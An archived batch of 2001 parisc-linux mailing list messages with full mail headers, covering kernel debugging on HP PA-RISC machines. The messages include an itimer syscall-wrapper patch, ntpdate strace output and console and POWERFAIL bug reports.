	by dsl2.external.hp.com (Postfix) with ESMTP id DA160601D
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Dec 2001 10:36:51 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA19079;
	Wed, 5 Dec 2001 10:32:05 -0700
In-Reply-To: Message from "NAMEGIANT" <richard@namegiant.com> 
   of "Tue, 04 Dec 2001 16:49:34 GMT." <20011205164726.DA407601A@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13261

Hi "richard",

"NAMEGIANT" wrote:
> Dear Sir/Madam
> 
> PA-ONLINE.COM $800
> 
> This is a valuable domain - there are only around 1000 2 - letter
> combination "online" domains. Most sell over $1000

Wow. cool. Perhaps you can just donate this to Debian (a non-profit Org)
and take the $800 tax deduction?

(And let me know what the IRS thinks of that too..I'd like
to do the same ;^)

grant



From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.16-pa12 broken on c3000
Date: Wed, 05 Dec 2001 10:45:15 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <200112051745.KAA19121@puffin.external.hp.com>
References: <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620819 30954 80.91.229.3 (22 Nov 2014 01:46:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 10:49:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14A346126
	for <parisc-linux@parisc-linux.org>; Wed,  5 Dec 2001 10:49:55 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA19121
	for <parisc-linux@parisc-linux.org>; Wed, 5 Dec 2001 10:45:15 -0700
In-Reply-To: Message from Randolph Chung <randolph@tausq.org> 
   of "Mon, 03 Dec 2001 23:17:59 PST." <20011203231759.K944@tausq.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13262

[ old news - cleaning out my inbox ]

Randolph Chung wrote:
> Looks like -pa12 enabled some #if 0 code in arch/parisc/mm/init.c that
> is causing things to die. Both Grant and I saw ifconfig abort when
> the free_initmem code was enabled. Reverting back to 1.43 worked for
> me...

Fixed. my bad. removed __init in PCI config space code path.

FYI, IOAQ pointed at the culprit: lba_device_present()
Should make debugging this kind of problem easy.

grant



From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ntpdate broken
Date: Wed, 5 Dec 2001 17:56:25 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20011205175625.G7051@linuxcare.com>
References: <20011205041853.C12186@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620819 30955 80.91.229.3 (22 Nov 2014 01:46:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:59 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 10:56:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE5886130
	for <parisc-linux@parisc-linux.org>; Wed,  5 Dec 2001 10:56:17 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D2A7FB00C; Wed,  5 Dec 2001 17:56:25 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011205041853.C12186@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Dec 05, 2001 at 04:18:53AM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13263

On Wed, Dec 05, 2001 at 04:18:53AM +0000, Matthew Wilcox wrote:
> 
> ntpdate isn't working on paer.  from the strace:
> 
> socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
> fcntl(4, F_SETFL, O_RDONLY|O_NONBLOCK)  = 0
> rt_sigaction(SIGALRM, {0x287a2, [], 0}, {SIG_DFL}, 8) = 0
> setitimer(ITIMER_REAL, {it_interval={0, 200000}, it_value={0, 100000}}, NULL) = 0
> setpriority(PRIO_PROCESS, 0, -12)       = 0
> poll([{fd=4, events=POLLIN}], 1, 60000) = 0
> poll( <unfinished ...>
> 
> anyone want to spend some time debugging this?  i'd bug the debian
> maintainer, but i hear he's not very sympathetic towards hppa.

That poll call should have been interrupted by SIGALRM after about 100ms.
time_t is long, so I guess we need a wrapper for setitimer()/getitimer().

Richard




From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] itimer/ntpdate 64-bit patch
Date: Wed, 05 Dec 2001 10:58:57 -0700
Lines: 128
Approved: news@gmane.org
Message-ID: <m16BgJt-000OuYC@bame.riverrock.org>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620820 30958 80.91.229.3 (22 Nov 2014 01:47:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 10:59:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78D516135
	for <parisc-linux@parisc-linux.org>; Wed,  5 Dec 2001 10:58:59 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA24666
	for <parisc-linux@parisc-linux.org>; Wed, 5 Dec 2001 10:58:57 -0700
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m16BgJt-000OuYC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Wed, 5 Dec 2001 10:58:57 -0700 (MST) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13264

The appended patch adds syscall wrappters to fix interval timers on
wide kernels.  This fixes ntpdate, the silent scp status bar, and
maybe (untested) FTP.  Unfortunately 'init' started failing
intermittently.  Sometimes when I boot into init state 1 it works.

The symptom is an infinite loop type 15 fault in init which is
really in ld.so.1.  The last function called is _dl_important_hwcaps.
The interupt instruction doesn't match any in ld.so.1 near the
apparent fault location so that's a mystery.

If I boot with init=/sbin/sash that works and if I exec /sbin/init
from there it works too.

I can't see any obvious connection between a couple of syscall wrappers
and this problem -- maybe someone else will...

	-P

Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/syscall.S,v
retrieving revision 1.73
diff -u -r1.73 syscall.S
--- arch/parisc/kernel/syscall.S	2001/11/30 23:17:25	1.73
+++ arch/parisc/kernel/syscall.S	2001/12/05 17:46:41
@@ -465,8 +465,8 @@
 	ENTRY_SAME(syslog)
 	/* even though manpage says struct timeval contains longs, ours has
 	 * time_t and suseconds_t -- both of which are safe wide/narrow */
-	ENTRY_SAME(setitimer)
-	ENTRY_SAME(getitimer)	/* 105 */
+	ENTRY_DIFF(setitimer)
+	ENTRY_DIFF(getitimer)	/* 105 */
 	ENTRY_SAME(capget)
 	ENTRY_SAME(capset)
 	ENTRY_DIFF(pread)
Index: arch/parisc/kernel/sys_parisc32.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/sys_parisc32.c,v
retrieving revision 1.25
diff -u -r1.25 sys_parisc32.c
--- arch/parisc/kernel/sys_parisc32.c	2001/11/30 23:17:25	1.25
+++ arch/parisc/kernel/sys_parisc32.c	2001/12/05 17:46:42
@@ -668,6 +668,64 @@
     return do_sys_settimeofday(tv ? &ktv : NULL, tz ? &ktz : NULL);
 }
 
+struct	itimerval32 {
+	struct	timeval32 it_interval;	/* timer interval */
+	struct	timeval32 it_value;	/* current value */
+};
+
+asmlinkage long sys32_getitimer(int which, struct itimerval32 *ov32)
+{
+	int error = -EFAULT;
+	struct itimerval get_buffer;
+	extern int do_getitimer(int which, struct itimerval *value);
+
+	if (ov32) {
+		error = do_getitimer(which, &get_buffer);
+		if (!error) {
+			struct itimerval32 gb32;
+			gb32.it_interval.tv_sec = get_buffer.it_interval.tv_sec;
+			gb32.it_interval.tv_usec = get_buffer.it_interval.tv_usec;
+			gb32.it_value.tv_sec = get_buffer.it_value.tv_sec;
+			gb32.it_value.tv_usec = get_buffer.it_value.tv_usec;
+			if (copy_to_user(ov32, &gb32, sizeof(gb32)))
+				error = -EFAULT; 
+		}
+	}
+	return error;
+}
+
+asmlinkage long sys32_setitimer(int which, struct itimerval32 *v32,
+			      struct itimerval32 *ov32)
+{
+	struct itimerval set_buffer, get_buffer;
+	struct itimerval32 sb32, gb32;
+	extern int do_setitimer(int which, struct itimerval *value, struct itimerval *ov32);
+	int error;
+
+	if (v32) {
+		if(copy_from_user(&sb32, v32, sizeof(sb32)))
+			return -EFAULT;
+
+		set_buffer.it_interval.tv_sec = sb32.it_interval.tv_sec;
+		set_buffer.it_interval.tv_usec = sb32.it_interval.tv_usec;
+		set_buffer.it_value.tv_sec = sb32.it_value.tv_sec;
+		set_buffer.it_value.tv_usec = sb32.it_value.tv_usec;
+	} else
+		memset((char *) &set_buffer, 0, sizeof(set_buffer));
+
+	error = do_setitimer(which, &set_buffer, ov32 ? &get_buffer : 0);
+	if (error || !ov32)
+		return error;
+
+	gb32.it_interval.tv_sec = get_buffer.it_interval.tv_sec;
+	gb32.it_interval.tv_usec = get_buffer.it_interval.tv_usec;
+	gb32.it_value.tv_sec = get_buffer.it_value.tv_sec;
+	gb32.it_value.tv_usec = get_buffer.it_value.tv_usec;
+	if (copy_to_user(ov32, &gb32, sizeof(gb32)))
+		return -EFAULT; 
+	return 0;
+}
+
 struct rusage32 {
         struct timeval32 ru_utime;
         struct timeval32 ru_stime;
@@ -923,7 +981,7 @@
 #define ROUND_UP(x,a)	((__typeof__(x))(((unsigned long)(x) + ((a) - 1)) & ~((a) - 1)))
 #define NAME_OFFSET(de) ((int) ((de)->d_name - (char *) (de)))
 static int
-filldir32 (void *__buf, const char *name, int namlen, off_t offset, ino_t ino,
+filldir32 (void *__buf, const char *name, int namlen, loff_t offset, ino_t ino,
 	   unsigned int d_type)
 {
 	struct linux32_dirent * dirent;
@@ -983,7 +1041,7 @@
 }
 
 static int
-fillonedir32 (void * __buf, const char * name, int namlen, off_t offset, ino_t ino,
+fillonedir32 (void * __buf, const char * name, int namlen, loff_t offset, ino_t ino,
 	      unsigned int d_type)
 {
 	struct readdir32_callback * buf = (struct readdir32_callback *) __buf;



From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itimer/ntpdate 64-bit patch
Date: Wed, 05 Dec 2001 11:31:02 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <m16Bgow-000OucC@bame.riverrock.org>
References: <m16BgJt-000OuYC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620820 30961 80.91.229.3 (22 Nov 2014 01:47:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, bame@www.riverrock.org
To: bame@riverrock.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 11:31:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83AC5601A
	for <parisc-linux@parisc-linux.org>; Wed,  5 Dec 2001 11:31:04 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA25893;
	Wed, 5 Dec 2001 11:31:03 -0700
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m16Bgow-000OucC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <bame@riverrock.org>; Wed, 5 Dec 2001 11:31:02 -0700 (MST) 
In-Reply-To: Your message of "Wed, 05 Dec 2001 10:58:57 MST."
             <m16BgJt-000OuYC@bame.riverrock.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13265

On Helge's suggestion I stopped freeing bootmem, and the problem
no longer manifests.  No more time to work on it.  I won't commit
the syscall wrapper patch for now.

	-P



From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itimer/ntpdate 64-bit patch
Date: Wed, 5 Dec 2001 21:52:49 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20011205215249.B10229@linuxcare.com>
References: <m16BgJt-000OuYC@bame.riverrock.org> <m16Bgow-000OucC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620820 30964 80.91.229.3 (22 Nov 2014 01:47:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, bame@www.riverrock.org
To: Paul Bame <bame@riverrock.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 14:52:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC924482C
	for <parisc-linux@parisc-linux.org>; Wed,  5 Dec 2001 14:52:33 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id E3716B00C; Wed,  5 Dec 2001 21:52:49 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <m16Bgow-000OucC@bame.riverrock.org>; from bame@riverrock.org on Wed, Dec 05, 2001 at 11:31:02AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13266

On Wed, Dec 05, 2001 at 11:31:02AM -0700, Paul Bame wrote:
> 
> On Helge's suggestion I stopped freeing bootmem, and the problem
> no longer manifests.  No more time to work on it.  I won't commit
> the syscall wrapper patch for now.

I tried zero-ing bootmem instead of freeing it, in the hope that I'd
get a more useful crash if it tried to execute code there, but it
didn't fail.  But then, I didn't try freeing bootmem with the itimer
wrapper, so maybe my box doesn't have the problem anyway.

Richard




From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ntpdate broken
Date: Wed, 5 Dec 2001 21:33:08 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20011205213308.C13344@systemhalted>
References: <20011205041853.C12186@parcelfarce.linux.theplanet.co.uk> <20011205175625.G7051@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620821 30966 80.91.229.3 (22 Nov 2014 01:47:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:01 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  5 19:32:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (unknown [24.112.142.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF773482C
	for <parisc-linux@parisc-linux.org>; Wed,  5 Dec 2001 19:32:46 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id fB62X8715222
	for parisc-linux@parisc-linux.org; Wed, 5 Dec 2001 21:33:08 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011205175625.G7051@linuxcare.com>; from rhirst@linuxcare.com on Wed, Dec 05, 2001 at 05:56:25PM +0000
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13267

> > 
> > ntpdate isn't working on paer.  from the strace:
> > 
> > socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
> > fcntl(4, F_SETFL, O_RDONLY|O_NONBLOCK)  = 0
> > rt_sigaction(SIGALRM, {0x287a2, [], 0}, {SIG_DFL}, 8) = 0
> > setitimer(ITIMER_REAL, {it_interval={0, 200000}, it_value={0, 100000}}, NULL) = 0
> > setpriority(PRIO_PROCESS, 0, -12)       = 0
> > poll([{fd=4, events=POLLIN}], 1, 60000) = 0
> > poll( <unfinished ...>
> > 
> > anyone want to spend some time debugging this?  i'd bug the debian
> > maintainer, but i hear he's not very sympathetic towards hppa.
> 
> That poll call should have been interrupted by SIGALRM after about 100ms.
> time_t is long, so I guess we need a wrapper for setitimer()/getitimer().
> 
> Richard

Could there be other long issues lurking?
A hidden assumption somewhere?

I guess my questions would be: 
Are wide/narrow wrapper issues ferreted out one by one?

c.



From - Thu Nov 08 21:20:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.16-pa16 Solves POWERFAIL (was: 2.4.16-pa15 still POWERFAIL)
Date: Thu, 06 Dec 2001 14:49:48 +0100 (CET)
Lines: 138
Approved: news@gmane.org
Message-ID: <1007646588.3c0f777c7e770@webmail.tiscalinet.be>
References: <Pine.LNX.4.33.0112032239490.1252-100000@bob.ncssm.edu> <1007449260.3c0c74ac2b330@webmail.tiscalinet.be> <1007473422.3c0cd30eac487@webmail.tiscalinet.be> <1007547737.3c0df5599e8c9@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620821 30968 80.91.229.3 (22 Nov 2014 01:47:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  6 06:50:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74C5F482C
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Dec 2001 06:50:00 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16ByuK-0001En-00; Thu, 06 Dec 2001 14:49:48 +0100
In-Reply-To: <1007547737.3c0df5599e8c9@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13268

The boot seems Ok now.

Congratulation,
        Joel

Quoting joel.soete@freebel.net:

> Hi all,
> 
> Just to report that the problem persit on my B180 (even thought that
> changes was
> made on sym53c8xx but I do know if its regarding this problem).
> 
> Joel
> 
> Quoting joel.soete@freebel.net:
> 
> > Hi all,
> > 
> > Sti consol is Ok now.
> > 
> > But receive on consol how many "POWERFAIL INTERRUPTION".
> > I beleive it comes from scsi dirver sym53c8xx but not sure.
> > 
> > Thanks for all great job,
> >         Joel
> > 
> > Quoting joel.soete@freebel.net:
> > 
> > > You have right, I forget to mentionned that the screen was an HP
> > model
> > > A4575A
> > > with a selected resolution of 1280*1024 which works fine till now
> > with
> > > previous
> > > kernel 2.4.9 and 2.4.14.
> > > 
> > > So what should be the right resolution?
> > > 
> > > Joel
> > > 
> > > Quoting Phil Anderson <andersop@neverland.ncssm.edu>:
> > > 
> > > > Hi.
> > > > 
> > > > This invalid scan problem suggests to me that the box is putting
> > out
> > > a
> > > > resolution/frequency that the monitor cannot support. The banner
> in
> > > the
> > > > muddle of the screen is a monitor on-screen-display error. I
> don't
> > > know
> > > > about B180's but on my 712 this happened. In the boot loader
> > firmware
> > > > you
> > > > should be able to select resolutions -- I booted it on another
> > > monitor,
> > > > lovered the frequency and resolution, then switched back to the
> > first
> > > > monitor. So, i don't think that's a problem with the kernel,
> rather
> > > the
> > > > settings of the box's STI and the limitations of the monitor
> you're
> > > > using.
> > > > 
> > > > -phil
> > > > 
> > > > 
> > > > 
> > > > On Mon, 3 Dec 2001 joel.soete@freebel.net wrote:
> > > > 
> > > > > Hi all,
> > > > >
> > > > > The kernel 2.4.16-pa10 run roughtly on my B180 (not yet tested
> on
> > > > 712)
> > > > > But STI console semms broken:
> > > > > A large banner with "INVALID SCAN FREQ." in the middle of the
> > > screen
> > > > and in
> > > > > background something like parasitical tv reception (white line
> > > > scanning
> > > > > screen)... After some minutes it stop?
> > > > > Thanks in advance for help,
> > > > >         Joel
> > > > >
